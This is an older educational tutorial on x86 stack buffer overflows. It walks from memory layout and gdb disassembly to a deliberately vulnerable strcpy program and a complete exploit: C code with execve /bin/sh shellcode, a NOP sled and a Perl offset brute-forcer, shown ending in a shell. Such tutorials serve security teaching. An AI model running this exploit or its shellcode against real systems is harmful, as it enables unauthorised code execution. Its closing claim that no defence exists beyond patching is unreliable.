Rosiello Security

http://www.rosiello.org

(

I advise you to read the original paper:

http://www.rosiello.org/archivio/Stack%20Overflow-en.pdf

)

Stack Overflow?s Analysis & Exploiting Ways

Introduction

The first passage to follow, in order to completely understand the STACK

overflows, it?s to study how the main processor1 works during any

program?s execution.

When a program is executed his elements are allocated into the memory in

a well organized way.

Local variables, function arguments and still other things, are allocated

into the STACK.

Automatic allocated variables stay instead in the HEAP.

Both .BSS and .DATA sectors are dedicated to the local variables and are

allocated during the compile time.

To be clear: the sector .BSS includes not initalized data, while .DATA is

reserved for static data (e.g. ?static? in the C language).

The .TEXT sector is the data area including the instructions, such as the

program?s code which is being executed where it?s not possible to realize

any writing operation but only reading ones.

Stack & SimpleSem

A very good way to understand what happens in the STACK during any

program?s execution is SIMPLESEM which is a virtual machine where it is

possible to execute some code in the abstract style.

The STACK is a memory area where are allocated all the functions?

arguments, local variables and much information to recover the memory

condition before the function were called.

It is organized according to the LIFO?s rules (Last In, First Out) and

grows down.

Let?s analyse a C program that calls some functions:

#include <stdio.h>

void first();

void second();

main(int argc, char *argv[])

{

char a[10];

first();

}

void first()

{

char b[10];

second();

}

void second()

{

char c[10];

}

In this way all the variables are going to be allocated into the STACK.

Let?s investigate the situation disassembling the binary code:

(gdb) disas main

Dump of assembler code for function main:

0x80482f4 <main>: push %ebp

0x80482f5 <main+1>: mov %esp,%ebp

0x80482f7 <main+3>: sub $0x18,%esp

0x80482fa <main+6>: and $0xfffffff0,%esp

0x80482fd <main+9>: mov $0x0,%eax

0x8048302 <main+14>: sub %eax,%esp

0x8048304 <main+16>: call 0x804830c <first>

0x8048309 <main+21>: leave

0x804830a <main+22>: ret

0x804830b <main+23>: nop

End of assembler dump.

(gdb) disas first

Dump of assembler code for function first:

0x804830c <first>: push %ebp

0x804830d <first+1>: mov %esp,%ebp

0x804830f <first+3>: sub $0x18,%esp

0x8048312 <first+6>: call 0x804831a <second>

0x8048317 <first+11>: leave

0x8048318 <first+12>: ret

0x8048319 <first+13>: nop

End of assembler dump.

(gdb) disas second

Dump of assembler code for function second:

0x804831a <second>: push %ebp

0x804831b <second+1>: mov %esp,%ebp

0x804831d <second+3>: sub $0x18,%esp

0x8048320 <second+6>: leave

0x8048321 <second+7>: ret

0x8048322 <second+8>: nop

0x8048323 <second+9>: nop

End of assembler dump.

Looking at the above assembler instructions it is possible to notice how

the routine?s call is realized and its relative prolog too (?procedure

prolog?), as it follows:

 0x804830c <first>: push %ebp (Put the base address in

the stack)

 0x804830d <first+1>: mov %esp,%ebp (The current Stack Pointer

becomes the new base address)

 0x804830f <first+3>: sub $0x18,%esp (Allocating the space for

the variable)

(In order to understand all the concepts it is important a minor

assembler knowledge).

It?s fundamental to keep the discussion as easy as possible, thus we can

neglect all the ?redundants? computations of the machine (indispensable

to let it working well) and introduce SIMPLESEM.

In the following table was inserted the SIMPLESEM?s data area during the

execution of the precedent C program.

SIMPLESEM

CURRENT # 0

FREE # 1

Return Pointer # 2

Dynamic Link # 3

A[10] in main() 4

Return Pointer # 5

Dynamic Link 2 6

B[10] in first() 7

Return Pointer # 8

Dynamic Link 5 9

C[10] in second() 10

The pointers CURRENT (indicating the current Base Address) and FREE

(indicating the first free cell) are necessary to let the machine working

but not so important to understand how the call of a routine works, then

we can omit them.

It is possible to abstract the routine?s call simply inserting in the

data area:

- Return Pointer

- Dynamic Link

When the routine will come back to the callers the Istruction Pointer

(IP) will point, into the data area, to the next istruction.

Actually to keep it easy but as real as possible we can place near the

SIMPLESEM?s data area the real processor?s one.

It?s really important to keep in mind that the ESP register will always

point to the top of the stack, it can increase/decrease by push/pop; the

Dynamic Link of the called routine contains the caller Base Address?

value (look at the above table). The Return Pointer, or return address,

is pushed run-time into the stack when a ?CALL? function is invoked.

SIMPLESEM X86

CURRENT #

FREE #

Return Pointer #

Dynamic Link <main>:push %ebp

A[10] in main() sub $0x18,%esp

Return Pointer # <main+16>:call 0x804830c <first>

Dynamic Link <first>:push %ebp

B[10] in first() <first+3>:sub $0x18,%esp

Return Pointer # <first+6>:call 0x804831a <second>

Dynamic Link <second>: push %ebp

C[10] in second() <second+3>: sub $0x18,%esp

Overflow

Finally, after this discussion, we can face the ?OVERFLOW?

Our problem is to understand what happens in the STACK when an overflow

occurs.

We could note that when we declare a variable, its relative space is

allocated into the STACK:

A[10] in main() sub $0x18,%esp

The Overflow occurs when we go over the upper bound reserved for the

variable into the stack.

By the stack?s overflow it is possible to overwrite the Dynamic Link

(EBP) and the Return Pointer too (EIP) altering run-time the next

instruction to be executed when the routine comes back.

The following program shows the vulnerability.

//VULNERABLE.C

#include <stdio.h>

main(int argc, char *argv[])

{

char a[100];

strcpy(a, argv[1]);

}

We can pass as argv[1] any string longer than 100 chars.

Starting program: vulnerable `perl -e 'print "A" x128'`

Program received signal SIGSEGV, Segmentation fault.

(gdb) 0x41414141 in ?? ()

(gdb) info reg eip

eip 0x41414141 0x41414141

(gdb) info reg ebp

ebp 0x41414141 0x41414141

As you can see ee could overwrite both EBP and EIP that now point

to ?0x41414141? (hexadecimal code of the letter ?A?) causing the

Segmentation fault.

Now we can execute any wished instruction, infact it?s enough to add the

shellcode into the program which will lauch the vulnerable one and let

the Istruction Pointer to point to its first byte.

Finding out the absolute address of the shellcode is not so easy, that?s

why to simplify anything one prefer to put the shellcode in the middle

of the buffer and fill in all over with NOPs.

Probably we?ll hit one of the NOPs in the chain, wich will join us the

shellcode.

Here is the exploit for the vulnerable program.

The relative return address (RET) was obtained as follows:

Starting program: vulnerable `perl -e 'printf "a" x 260'`

Program received signal SIGSEGV, Segmentation fault.

0x61616161 in ?? ()

(gdb) info reg esp

esp 0xbfffdb40 0xbfffdb40

(gdb)

The absolute return address will be next to our RET, it will be enough

using some bruteforce to find out the right offset.

//EXPLOIT.C

#include <stdio.h>

#define NOP 0x90 // NOP OPCODE

#define LEN 128 // Buffer Size

#define RET 0xbfffdb40 // return Address

static char shellcode[]=

"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf
3

\x8d"

"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x6
8

\x58";

main(int argc, char *argv[])

{

char buffer[LEN];

long retaddr = RET + atoi(argv[1]);

int i;

printf("Shellcode size : %d\n", strlen(shellcode));

fprintf(stderr,"Using address 0x%lx\n",retaddr);

// Build the overflow string.

for (i = 0; i < LEN; i += 4) *(long *) &buffer[i] = retaddr;

// copy NOP

for (i=0; i<(LEN-strlen(shellcode)-10);i++) *(buffer+i) = NOP;

// Copy the shellcode into the buffer.

memcpy(buffer+i,shellcode,strlen(shellcode));

// Execute the program

execlp(?vulnerable", "vulnerable", buffer, NULL);

}

//BRUTE.PL

#!/usr/bin/perl

$MIN=0;

$MAX=5000;

while($MIN<$MAX)

{

printf(" offset : $MIN \n");

system("./exploit $MIN");

$MIN++;

}

Conclusions

$./brute.pl

??.

Shellcode size : 38

Using address 0xbfffdbc5

offset : 134

Shellcode size : 38

Using address 0xbfffdbc6

offset : 135

Shellcode size : 38

Using address 0xbfffdbc7

sh-2.05b$

We could execute the shellcode exploiting the STACK overflow.

The existence of a vulnerable program represents a serious menace for the

security of our systems.

An attacker could execute arbitrary code with high permissions where

possible.

Actually does not exist any way to be safe because of the nature of the

attacks, infact they are based on programmation errors, for this reason

it?s very important to keep the software constantly upgraded.

author: Angelo Rosiello

mail: angelo (at) rosiello (dot) org [email concealed]

url : http://www.rosiello.org

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